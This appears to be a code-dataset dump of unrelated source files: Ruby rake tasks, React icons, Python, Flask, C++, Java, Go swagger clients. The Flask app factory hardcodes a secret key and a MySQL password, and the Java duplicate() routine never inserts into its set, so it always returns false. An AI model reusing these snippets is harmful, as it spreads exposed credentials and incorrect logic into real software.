repo_name stringlengths 6 101 | path stringlengths 4 300 | text stringlengths 7 1.31M |
|---|---|---|
samvera-labs/chimera | lib/tasks/works_report.rake | # frozen_string_literal: true
namespace :deepblue do
# bundle exec rake deepblue:works_report
desc 'Write report of all works'
task :works_report, %i[ options ] => :environment do |_task, args|
args.with_defaults( options: '{}' )
options = args[:options]
task = Deepblue::WorksReport.new( options: options )
task.run
end
end
module Deepblue
require 'tasks/curation_concern_report_task'
require 'stringio'
class WorksReport < CurationConcernReportTask
# Produce a report containing:
# * # of datasets
# * Total size of the datasets in GB
# * # of unique depositors
# * # of repeat depositors
# * Top 10 file formats (csv, nc, txt, pdf, etc)
# * Discipline of dataset
# * Names of depositors
#
def initialize( options: {} )
super( options: options )
end
def run
initialize_report_values
report
end
protected
def report
out_report << "Report started: " << Time.new.to_s << "\n"
@prefix = "#{Time.now.strftime('%Y%m%d')}_works_report" if @prefix.nil?
@works_file = Pathname.new( report_dir ).join "#{prefix}_works.csv"
@file_sets_file = Pathname.new( report_dir ).join "#{prefix}_file_sets.csv"
@out_works = open( works_file, 'w' )
@out_file_sets = open( file_sets_file, 'w' )
print_work_line( out_works, header: true )
print_file_set_line( out_file_sets, header: true )
process_works
print "\n"
print "#{works_file}\n"
print "#{file_sets_file}\n"
# puts
# puts JSON.pretty_generate( @totals )
# puts
# puts JSON.pretty_generate( @tagged_totals )
# puts
report_finished
ensure
unless out_works.nil?
out_works.flush
out_works.close
end
unless out_file_sets.nil?
out_file_sets.flush
out_file_sets.close
end
end
end
end
|
paige-ingram/nwhacks2022 | node_modules/@fluentui/react-icons/lib/cjs/components/TapDouble20Filled.js | <reponame>paige-ingram/nwhacks2022<gh_stars>0
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const React = require("react");
const wrapIcon_1 = require("../utils/wrapIcon");
const rawSvg = (iconProps) => {
const { className, primaryFill } = iconProps;
return React.createElement("svg", { width: 20, height: 20, viewBox: "0 0 20 20", xmlns: "http://www.w3.org/2000/svg", className: className },
React.createElement("path", { d: "M4 8.5a5.5 5.5 0 1110.97.6c.34.15.65.34.93.57A6.5 6.5 0 103.64 11.3c.25-.25.53-.45.82-.61A5.48 5.48 0 014 8.5z", fill: primaryFill }),
React.createElement("path", { d: "M14 8.5l-.01.33-1-.17.01-.16a3.5 3.5 0 10-6.57 1.69 4.4 4.4 0 00-1.05.13A4.48 4.48 0 019.5 4 4.5 4.5 0 0114 8.5z", fill: primaryFill }),
React.createElement("path", { d: "M8 7.5a1.5 1.5 0 113 0v2.08l2.94.51a2.5 2.5 0 011.91 3.33l-.98 2.67a2.5 2.5 0 01-1.92 1.6l-1.52.26c-1.02.18-1.95-.45-2.43-1.23A5.87 5.87 0 004.44 14a.5.5 0 01-.43-.62c.15-.6.43-1.04.82-1.36.39-.32.85-.47 1.3-.52.63-.06 1.29.05 1.87.25V7.5z", fill: primaryFill }));
};
const TapDouble20Filled = wrapIcon_1.default(rawSvg({}), 'TapDouble20Filled');
exports.default = TapDouble20Filled;
|
jdvelasq/techminer2 | techminer2/coupling_network_degree_plot.py | """
Coupling Network / Degree Plot
===============================================================================
Builds a coupling network from a coupling matrix.
>>> from techminer2 import *
>>> directory = "data/"
>>> file_name = "sphinx/images/coupling_network_degree_plot.png"
>>> coupling_network_degree_plot(
... column='author_keywords',
... min_occ=4,
... top_n=20,
... directory=directory,
... ).savefig(file_name)
.. image:: images/coupling_network_degree_plot.png
:width: 700px
:align: center
"""
import pandas as pd
from .coupling_matrix import coupling_matrix
from ._read_records import read_all_records
from .records2documents import records2documents
from .network import network
from .network_degree_plot import network_degree_plot
def coupling_network_degree_plot(
column,
top_n=100,
min_occ=1,
metric="global_citations",
directory="./",
clustering_method="louvain",
manifold_method=None,
figsize=(7, 7),
):
# -------------------------------------------------------------------------
# Documents
matrix = coupling_matrix(
column=column,
top_n=top_n,
min_occ=min_occ,
metric=metric,
directory=directory,
)
# -------------------------------------------------------------------------
# Rename axis of the matrix
# documents = load_all_documents(directory)
# records2ids = dict(zip(documents.record_no, documents.document_id))
# records2global_citations = dict(
# zip(documents.record_no, documents.global_citations)
# )
# records2local_citations = dict(zip(documents.record_no, documents.local_citations))
# new_indexes = matrix.columns.get_level_values(0)
# new_indexes = [
# (
# records2ids[index],
# records2global_citations[index],
# records2local_citations[index],
# )
# for index in new_indexes
# ]
# new_indexes = pd.MultiIndex.from_tuples(
# new_indexes, names=["document", "global_citations", "local_citations"]
# )
# matrix.columns = new_indexes.copy()
# matrix.index = new_indexes.copy()
network_ = network(
matrix,
clustering_method=clustering_method,
manifold_method=manifold_method,
)
return network_degree_plot(
network_,
figsize=figsize,
)
|
zhouqi007/flask1112 | day02/myapp/__init__.py | <filename>day02/myapp/__init__.py
from flask import Flask
from flask_session import Session
from redis import StrictRedis
from myapp.models import db
from .views.views import blue
def create_app():
app = Flask(__name__)
#密钥
app.config["SECRET_KEY"] = "shibushishayawoshelemiyao"
#指定session存储方案
app.config["SESSION_TYPE"]="redis"
#设置缓存开头,一般以自己pythonpoackage的app名字为开头
app.config["SESSION_KEY_PREFIX"] = "myapp"
# 定制化的将session存在redis的指定库中
app.config["SESSION_REDIS"] = StrictRedis(host="127.0.0.1", db=5)
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
#创建数据库文件
# app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///sqlite3.db"
app.config["SQLALCHEMY_DATABASE_URI"] = "mysql+pymysql://root:123@172.16.58.3:3306/flask02"
#实例化第三方插件
#实例化Session
sess = Session()
sess.init_app(app)
db.init_app(app)
app.register_blueprint(blue)
return app |
drkameleon/elena-lang | elenasrc2/elenagm/win32/directx12.h | //---------------------------------------------------------------------------
// E L E N A P r o j e c t: ELENA Graphic Engine
//
// (C)2017, by <NAME>
//---------------------------------------------------------------------------
#ifndef elenagm_d12H
#define elenagm_d12H 1
#include "elena.h"
#include "win32_common.h"
using namespace DirectX;
namespace _ELENA_
{
class D3D12Platform : public GraphicPlatform
{
static const UINT FrameCount = 3;
struct Vertex
{
XMFLOAT3 position;
XMFLOAT4 color;
};
path_t _rootPath;
int _width;
int _height;
float _aspectRatio;
// Pipeline objects.
CD3DX12_VIEWPORT _viewport;
CD3DX12_RECT _scissorRect;
ComPtr<ID3D12Device> _d3d12Device;
ComPtr<ID3D11On12Device> _d3d11On12Device;
ComPtr<ID3D11DeviceContext> _d3d11DeviceContext;
ComPtr<ID2D1Factory3> _d2dFactory;
ComPtr<ID2D1Device2> _d2dDevice;
ComPtr<ID2D1DeviceContext2> _d2dDeviceContext;
ComPtr<IDWriteFactory> _dWriteFactory;
ComPtr<ID3D12CommandQueue> _commandQueue;
ComPtr<IDXGISwapChain3> _swapChain;
ComPtr<ID3D12DescriptorHeap> _rtvHeap;
ComPtr<ID3D12Resource> _renderTargets[FrameCount];
ComPtr<ID3D11Resource> _wrappedBackBuffers[FrameCount];
ComPtr<ID2D1Bitmap1> _d2dRenderTargets[FrameCount];
ComPtr<ID3D12CommandAllocator> _commandAllocators[FrameCount];
ComPtr<ID3D12PipelineState> _pipelineState;
ComPtr<ID3D12GraphicsCommandList> _commandList;
ComPtr<ID3D12RootSignature> _rootSignature;
// App resources.
UINT _rtvDescriptorSize;
ComPtr<ID2D1SolidColorBrush> _textBrush;
ComPtr<IDWriteTextFormat> _textFormat;
ComPtr<ID3D12Resource> _vertexBuffer;
D3D12_VERTEX_BUFFER_VIEW _vertexBufferView;
// Synchronization objects.
UINT _frameIndex;
HANDLE _fenceEvent;
UINT64 _fenceValues[FrameCount];
ComPtr<ID3D12Fence> _fence;
void MoveToNextFrame();
void PopulateCommandList();
void RenderUI();
void WaitForGpu();
void InitPipeline();
public:
D3D12Platform(path_t rootPath, int width, int height);
virtual ~D3D12Platform() {}
virtual void Init(HWND hWnd);
virtual void* NewWidget(void* /* parent*/, int/* type*/) { return NULL; }
virtual int CloseWidget(void* /* handle*/) { return -1; }
void OnRender(HWND hWnd);
void OnDestroy();
};
} // _ELENA_
#endif // elenagm_d12H |
kevinh-csalabs/rad_common | spec/dummy/db/migrate/20191130162719_add_unique_index_to_divisions.rb | <filename>spec/dummy/db/migrate/20191130162719_add_unique_index_to_divisions.rb
class AddUniqueIndexToDivisions < ActiveRecord::Migration[5.2]
def change
add_index :divisions, :name, unique: true, where: 'division_status = 0'
end
end
|
dataplumber/horizon | common/common-api/src/main/java/gov/nasa/horizon/common/api/serviceprofile/jaxb/BoundingRectangleJaxb.java | <filename>common/common-api/src/main/java/gov/nasa/horizon/common/api/serviceprofile/jaxb/BoundingRectangleJaxb.java
/*****************************************************************************
* Copyright (c) 2007 Jet Propulsion Laboratory,
* California Institute of Technology. All rights reserved
*****************************************************************************/
package gov.nasa.horizon.common.api.serviceprofile.jaxb;
import gov.nasa.horizon.common.api.jaxb.serviceprofile.BoundingRectangle;
import gov.nasa.horizon.common.api.serviceprofile.SPBoundingRectangle;
/**
* Implementation of BoundingRectangle object using JAXB for XML marshalling and
* unmarshalling.
*
* @author <NAME> {<EMAIL>}
* @version $Id: BoundingRectangleJaxb.java 1234 2008-05-30 04:45:50Z thuang $
*/
public class BoundingRectangleJaxb extends AccessorBase implements
SPBoundingRectangle {
private BoundingRectangle _jaxbObj;
public BoundingRectangleJaxb() {
this._jaxbObj = new BoundingRectangle();
}
public BoundingRectangleJaxb(SPBoundingRectangle boundingRectangle) {
if (boundingRectangle.getImplObj() instanceof BoundingRectangle) {
this._jaxbObj = (BoundingRectangle) boundingRectangle.getImplObj();
} else {
this._jaxbObj = new BoundingRectangle();
this._setValues(boundingRectangle.getEastLongitude(),
boundingRectangle.getNorthLatitude(), boundingRectangle
.getSouthLatitude(), boundingRectangle.getWestLongitude());
}
}
public BoundingRectangleJaxb(BoundingRectangle jaxbObj) {
this._jaxbObj = jaxbObj;
}
public BoundingRectangleJaxb(double east, double north, double south,
double west) {
this._jaxbObj = new BoundingRectangle();
this._setValues(east, north, south, west);
}
private void _setValues(double east, double north, double south, double west) {
this.setEastLongitude(east);
this.setWestLongitude(west);
this.setNorthLatitude(north);
this.setSouthLatitude(south);
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (!super.equals(obj))
return false;
if (getClass() != obj.getClass())
return false;
final BoundingRectangleJaxb other = (BoundingRectangleJaxb) obj;
if (_jaxbObj == null) {
if (other._jaxbObj != null)
return false;
} else if (!_jaxbObj.equals(other._jaxbObj))
return false;
return true;
}
public synchronized Double getEastLongitude() {
return this._jaxbObj.getEastLongitude();
}
public synchronized Object getImplObj() {
return this._jaxbObj;
}
public synchronized Double getNorthLatitude() {
return this._jaxbObj.getNorthLatitude();
}
public synchronized String getRegionName() {
return this._jaxbObj.getRegion();
}
public synchronized Double getSouthLatitude() {
return this._jaxbObj.getSouthLatitude();
}
public synchronized Double getWestLongitude() {
return this._jaxbObj.getWestLongitude();
}
@Override
public int hashCode() {
final int prime = 31;
int result = super.hashCode();
result = prime * result + ((_jaxbObj == null) ? 0 : _jaxbObj.hashCode());
return result;
}
public synchronized void setEastLongitude(double east) {
this._jaxbObj.setEastLongitude(east);
}
public synchronized void setNorthLatitude(double north) {
this._jaxbObj.setNorthLatitude(north);
}
public synchronized void setRegionName(String name) {
this._jaxbObj.setRegion(name);
}
public synchronized void setSouthLatitude(double south) {
this._jaxbObj.setSouthLatitude(south);
}
public synchronized void setWestLongitude(double west) {
this._jaxbObj.setWestLongitude(west);
}
}
|
sebastian-raubach/blog-server | src/main/java/blog/raubach/database/codegen/tables/Storyposts.java | /*
* This file is generated by jOOQ.
*/
package blog.raubach.database.codegen.tables;
import blog.raubach.database.codegen.BlogDb;
import blog.raubach.database.codegen.tables.records.StorypostsRecord;
import java.util.Arrays;
import java.util.List;
import javax.annotation.Generated;
import org.jooq.Field;
import org.jooq.Name;
import org.jooq.Schema;
import org.jooq.Table;
import org.jooq.TableField;
import org.jooq.UniqueKey;
import org.jooq.impl.DSL;
import org.jooq.impl.Internal;
import org.jooq.impl.TableImpl;
// @formatter:off
/**
* This class is generated by jOOQ.
*/
@Generated(
value = {
"http://www.jooq.org",
"jOOQ version:3.11.9"
},
comments = "This class is generated by jOOQ"
)
@SuppressWarnings({ "all", "unchecked", "rawtypes" })
public class Storyposts extends TableImpl<StorypostsRecord> {
private static final long serialVersionUID = -1959870795;
/**
* The reference instance of <code>blog_db.storyposts</code>
*/
public static final Storyposts STORYPOSTS = new Storyposts();
/**
* The class holding records for this type
*/
@Override
public Class<StorypostsRecord> getRecordType() {
return StorypostsRecord.class;
}
/**
* The column <code>blog_db.storyposts.story_id</code>.
*/
public final TableField<StorypostsRecord, Integer> STORY_ID = createField("story_id", org.jooq.impl.SQLDataType.INTEGER.nullable(false), this, "");
/**
* The column <code>blog_db.storyposts.post_id</code>.
*/
public final TableField<StorypostsRecord, Integer> POST_ID = createField("post_id", org.jooq.impl.SQLDataType.INTEGER.nullable(false), this, "");
/**
* Create a <code>blog_db.storyposts</code> table reference
*/
public Storyposts() {
this(DSL.name("storyposts"), null);
}
/**
* Create an aliased <code>blog_db.storyposts</code> table reference
*/
public Storyposts(String alias) {
this(DSL.name(alias), STORYPOSTS);
}
/**
* Create an aliased <code>blog_db.storyposts</code> table reference
*/
public Storyposts(Name alias) {
this(alias, STORYPOSTS);
}
private Storyposts(Name alias, Table<StorypostsRecord> aliased) {
this(alias, aliased, null);
}
private Storyposts(Name alias, Table<StorypostsRecord> aliased, Field<?>[] parameters) {
super(alias, null, aliased, parameters, DSL.comment(""));
}
/**
* {@inheritDoc}
*/
@Override
public Schema getSchema() {
return BlogDb.BLOG_DB;
}
/**
* {@inheritDoc}
*/
@Override
public UniqueKey<StorypostsRecord> getPrimaryKey() {
return Internal.createUniqueKey(blog.raubach.database.codegen.tables.Storyposts.STORYPOSTS, "KEY_storyposts_PRIMARY", blog.raubach.database.codegen.tables.Storyposts.STORYPOSTS.STORY_ID, blog.raubach.database.codegen.tables.Storyposts.STORYPOSTS.POST_ID);
}
/**
* {@inheritDoc}
*/
@Override
public List<UniqueKey<StorypostsRecord>> getKeys() {
return Arrays.<UniqueKey<StorypostsRecord>>asList(
Internal.createUniqueKey(blog.raubach.database.codegen.tables.Storyposts.STORYPOSTS, "KEY_storyposts_PRIMARY", blog.raubach.database.codegen.tables.Storyposts.STORYPOSTS.STORY_ID, blog.raubach.database.codegen.tables.Storyposts.STORYPOSTS.POST_ID)
);
}
/**
* {@inheritDoc}
*/
@Override
public Storyposts as(String alias) {
return new Storyposts(DSL.name(alias), this);
}
/**
* {@inheritDoc}
*/
@Override
public Storyposts as(Name alias) {
return new Storyposts(alias, this);
}
/**
* Rename this table
*/
@Override
public Storyposts rename(String name) {
return new Storyposts(DSL.name(name), null);
}
/**
* Rename this table
*/
@Override
public Storyposts rename(Name name) {
return new Storyposts(name, null);
}
// @formatter:on
}
|
Queen-Jie/java-in-action | src/main/java/cn/queen/java/io/file_reader/UseFileReader.java | /*
* Copyright 2010-2011 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cn.queen.java.io.file_reader;
/**
* @version 0.1
*
* @author <NAME>
*
* @since Nov 26, 2015
* Use a FileReader to display a text file.
* 使用FileReader来显示文本文件
*/
import java.io.FileReader;
import java.io.IOException;
public class UseFileReader {
public static void main(String[] args)throws IOException{
FileReader fr = new FileReader("f:/abc.txt");
int ch;
do {
ch = fr.read();
if (ch != -1)
System.out.println((char) ch);
} while (ch != -1);
fr.close();
}
} |
jplu/adel | adel-recognition/src/main/java/fr/eurecom/adel/recognition/domain/repositories/TypeOverlapResolutionRepository.java | <reponame>jplu/adel<gh_stars>10-100
package fr.eurecom.adel.recognition.domain.repositories;
import java.util.List;
import fr.eurecom.adel.commons.datatypes.Entity;
import fr.eurecom.adel.recognition.configuration.TypeOverlappingConfig;
import fr.eurecom.adel.recognition.exceptions.MappingNotExistsException;
import fr.eurecom.adel.recognition.exceptions.TypeNotExistsException;
/**
* @author <NAME> on 2018-11-26.
*/
@FunctionalInterface
public interface TypeOverlapResolutionRepository {
void resolveTypeOverlapping(TypeOverlappingConfig config, List<Entity> entities) throws MappingNotExistsException, TypeNotExistsException;
}
|
shaojiankui/iOS10-Runtime-Headers | PrivateFrameworks/ContactsUICore.framework/CNTUCallProviderManager.h | /* Generated by RuntimeBrowser
Image: /System/Library/PrivateFrameworks/ContactsUICore.framework/ContactsUICore
*/
@interface CNTUCallProviderManager : NSObject <CNTUCallProviderManager> {
TUCallProviderManager * _callProviderManager;
}
@property (nonatomic, copy) TUCallProviderManager *callProviderManager;
@property (readonly, copy) NSString *debugDescription;
@property (readonly, copy) NSString *description;
@property (readonly) unsigned long long hash;
@property (readonly) Class superclass;
- (void).cxx_destruct;
- (id)callProviderManager;
- (id)init;
- (id)observableForCallProvidersChangedWithSchedulerProvider:(id)arg1;
- (id)providerManagerQueue;
- (void)setCallProviderManager:(id)arg1;
- (id)thirdPartyCallProviderWithBundleIdentifier:(id)arg1;
- (id)thirdPartyCallProvidersForActionType:(id)arg1;
@end
|
cukingpro/spree_dishes | app/views/spree/api/suppliers/show.rabl | <reponame>cukingpro/spree_dishes<gh_stars>0
object @supplier
attributes :id, :name, :description |
Suyc123/Qv2ray | N50/Solution.java | <filename>N50/Solution.java
package N50;
import java.util.*;
public class Solution {
public boolean duplicate(int[] numbers, int length, int[] duplication){
if(length < 2)
return false;
Set<Integer> set = new HashSet<Integer>();
for(int i = 0; i < length; i ++){
if(set.contains(numbers[i])){
duplication[0] = numbers[i];
return true;
}
}
return false;
}
}
|
Sczlog/cloudtower-go-sdk | client/content_library_image/content_library_image_client.go | <reponame>Sczlog/cloudtower-go-sdk<filename>client/content_library_image/content_library_image_client.go
// Code generated by go-swagger; DO NOT EDIT.
package content_library_image
// This file was generated by the swagger tool.
// Editing this file might prove futile when you re-run the swagger generate command
import (
"fmt"
"github.com/go-openapi/runtime"
"github.com/go-openapi/strfmt"
)
// New creates a new content library image API client.
func New(transport runtime.ClientTransport, formats strfmt.Registry) ClientService {
return &Client{transport: transport, formats: formats}
}
/*
Client for content library image API
*/
type Client struct {
transport runtime.ClientTransport
formats strfmt.Registry
}
// ClientOption is the option for Client methods
type ClientOption func(*runtime.ClientOperation)
// ClientService is the interface for Client methods
type ClientService interface {
CreateContentLibraryImage(params *CreateContentLibraryImageParams, opts ...ClientOption) (*CreateContentLibraryImageOK, error)
DeleteContentLibraryImage(params *DeleteContentLibraryImageParams, opts ...ClientOption) (*DeleteContentLibraryImageOK, error)
DistributeContentLibraryImageClusters(params *DistributeContentLibraryImageClustersParams, opts ...ClientOption) (*DistributeContentLibraryImageClustersOK, error)
GetContentLibraryImages(params *GetContentLibraryImagesParams, opts ...ClientOption) (*GetContentLibraryImagesOK, error)
GetContentLibraryImagesConnection(params *GetContentLibraryImagesConnectionParams, opts ...ClientOption) (*GetContentLibraryImagesConnectionOK, error)
RemoveContentLibraryImageClusters(params *RemoveContentLibraryImageClustersParams, opts ...ClientOption) (*RemoveContentLibraryImageClustersOK, error)
UpdateContentLibraryImage(params *UpdateContentLibraryImageParams, opts ...ClientOption) (*UpdateContentLibraryImageOK, error)
SetTransport(transport runtime.ClientTransport)
}
/*
CreateContentLibraryImage create content library image API
*/
func (a *Client) CreateContentLibraryImage(params *CreateContentLibraryImageParams, opts ...ClientOption) (*CreateContentLibraryImageOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewCreateContentLibraryImageParams()
}
op := &runtime.ClientOperation{
ID: "CreateContentLibraryImage",
Method: "POST",
PathPattern: "/upload-content-library-image",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"multipart/form-data"},
Schemes: []string{"http"},
Params: params,
Reader: &CreateContentLibraryImageReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*CreateContentLibraryImageOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for CreateContentLibraryImage: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
DeleteContentLibraryImage delete content library image API
*/
func (a *Client) DeleteContentLibraryImage(params *DeleteContentLibraryImageParams, opts ...ClientOption) (*DeleteContentLibraryImageOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewDeleteContentLibraryImageParams()
}
op := &runtime.ClientOperation{
ID: "DeleteContentLibraryImage",
Method: "POST",
PathPattern: "/delete-content-library-image",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"http"},
Params: params,
Reader: &DeleteContentLibraryImageReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*DeleteContentLibraryImageOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for DeleteContentLibraryImage: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
DistributeContentLibraryImageClusters distribute content library image clusters API
*/
func (a *Client) DistributeContentLibraryImageClusters(params *DistributeContentLibraryImageClustersParams, opts ...ClientOption) (*DistributeContentLibraryImageClustersOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewDistributeContentLibraryImageClustersParams()
}
op := &runtime.ClientOperation{
ID: "DistributeContentLibraryImageClusters",
Method: "POST",
PathPattern: "/distribute-content-library-image-clusters",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"http"},
Params: params,
Reader: &DistributeContentLibraryImageClustersReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*DistributeContentLibraryImageClustersOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for DistributeContentLibraryImageClusters: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
GetContentLibraryImages get content library images API
*/
func (a *Client) GetContentLibraryImages(params *GetContentLibraryImagesParams, opts ...ClientOption) (*GetContentLibraryImagesOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewGetContentLibraryImagesParams()
}
op := &runtime.ClientOperation{
ID: "GetContentLibraryImages",
Method: "POST",
PathPattern: "/get-content-library-images",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"http"},
Params: params,
Reader: &GetContentLibraryImagesReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*GetContentLibraryImagesOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for GetContentLibraryImages: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
GetContentLibraryImagesConnection get content library images connection API
*/
func (a *Client) GetContentLibraryImagesConnection(params *GetContentLibraryImagesConnectionParams, opts ...ClientOption) (*GetContentLibraryImagesConnectionOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewGetContentLibraryImagesConnectionParams()
}
op := &runtime.ClientOperation{
ID: "GetContentLibraryImagesConnection",
Method: "POST",
PathPattern: "/get-content-library-images-connection",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"http"},
Params: params,
Reader: &GetContentLibraryImagesConnectionReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*GetContentLibraryImagesConnectionOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for GetContentLibraryImagesConnection: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
RemoveContentLibraryImageClusters remove content library image clusters API
*/
func (a *Client) RemoveContentLibraryImageClusters(params *RemoveContentLibraryImageClustersParams, opts ...ClientOption) (*RemoveContentLibraryImageClustersOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewRemoveContentLibraryImageClustersParams()
}
op := &runtime.ClientOperation{
ID: "RemoveContentLibraryImageClusters",
Method: "POST",
PathPattern: "/remove-content-library-image-clusters",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"http"},
Params: params,
Reader: &RemoveContentLibraryImageClustersReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*RemoveContentLibraryImageClustersOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for RemoveContentLibraryImageClusters: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
UpdateContentLibraryImage update content library image API
*/
func (a *Client) UpdateContentLibraryImage(params *UpdateContentLibraryImageParams, opts ...ClientOption) (*UpdateContentLibraryImageOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewUpdateContentLibraryImageParams()
}
op := &runtime.ClientOperation{
ID: "UpdateContentLibraryImage",
Method: "POST",
PathPattern: "/update-content-library-image",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"http"},
Params: params,
Reader: &UpdateContentLibraryImageReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*UpdateContentLibraryImageOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for UpdateContentLibraryImage: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
// SetTransport changes the transport on the client
func (a *Client) SetTransport(transport runtime.ClientTransport) {
a.transport = transport
}
|
pg83/std | std/ios/outable.cpp | <reponame>pg83/std
#include "outable.h"
|
z8674558/idocp | src/cost/time_varying_task_space_3d_cost.cpp | <filename>src/cost/time_varying_task_space_3d_cost.cpp
#include "idocp/cost/time_varying_task_space_3d_cost.hpp"
namespace idocp {
TimeVaryingTaskSpace3DCost::TimeVaryingTaskSpace3DCost(
const Robot& robot, const int frame_id,
const std::shared_ptr<TimeVaryingTaskSpace3DRefBase>& ref)
: CostFunctionComponentBase(),
frame_id_(frame_id),
ref_(ref),
q_3d_weight_(Eigen::Vector3d::Zero()),
qf_3d_weight_(Eigen::Vector3d::Zero()),
qi_3d_weight_(Eigen::Vector3d::Zero()) {
}
TimeVaryingTaskSpace3DCost::TimeVaryingTaskSpace3DCost()
: CostFunctionComponentBase(),
frame_id_(),
ref_(),
q_3d_weight_(),
qf_3d_weight_(),
qi_3d_weight_() {
}
TimeVaryingTaskSpace3DCost::~TimeVaryingTaskSpace3DCost() {
}
void TimeVaryingTaskSpace3DCost::set_ref(
const std::shared_ptr<TimeVaryingTaskSpace3DRefBase>& ref) {
ref_ = ref;
}
void TimeVaryingTaskSpace3DCost::set_q_weight(
const Eigen::Vector3d& q_3d_weight) {
q_3d_weight_ = q_3d_weight;
}
void TimeVaryingTaskSpace3DCost::set_qf_weight(
const Eigen::Vector3d& qf_3d_weight) {
qf_3d_weight_ = qf_3d_weight;
}
void TimeVaryingTaskSpace3DCost::set_qi_weight(
const Eigen::Vector3d& qi_3d_weight) {
qi_3d_weight_ = qi_3d_weight;
}
bool TimeVaryingTaskSpace3DCost::useKinematics() const {
return true;
}
double TimeVaryingTaskSpace3DCost::computeStageCost(
Robot& robot, CostFunctionData& data, const double t, const double dt,
const SplitSolution& s) const {
if (ref_->isActive(t)) {
double l = 0;
ref_->update_q_3d_ref(t, data.q_3d_ref);
data.diff_3d = robot.framePosition(frame_id_) - data.q_3d_ref;
l += (q_3d_weight_.array()*data.diff_3d.array()*data.diff_3d.array()).sum();
return 0.5 * dt * l;
}
else {
return 0;
}
}
void TimeVaryingTaskSpace3DCost::computeStageCostDerivatives(
Robot& robot, CostFunctionData& data, const double t, const double dt,
const SplitSolution& s, SplitKKTResidual& kkt_residual) const {
if (ref_->isActive(t)) {
data.J_6d.setZero();
robot.getFrameJacobian(frame_id_, data.J_6d);
data.J_3d.noalias()
= robot.frameRotation(frame_id_) * data.J_6d.template topRows<3>();
kkt_residual.lq().noalias()
+= dt * data.J_3d.transpose() * q_3d_weight_.asDiagonal() * data.diff_3d;
}
}
void TimeVaryingTaskSpace3DCost::computeStageCostHessian(
Robot& robot, CostFunctionData& data, const double t, const double dt,
const SplitSolution& s, SplitKKTMatrix& kkt_matrix) const {
if (ref_->isActive(t)) {
kkt_matrix.Qqq().noalias()
+= dt * data.J_3d.transpose() * q_3d_weight_.asDiagonal() * data.J_3d;
}
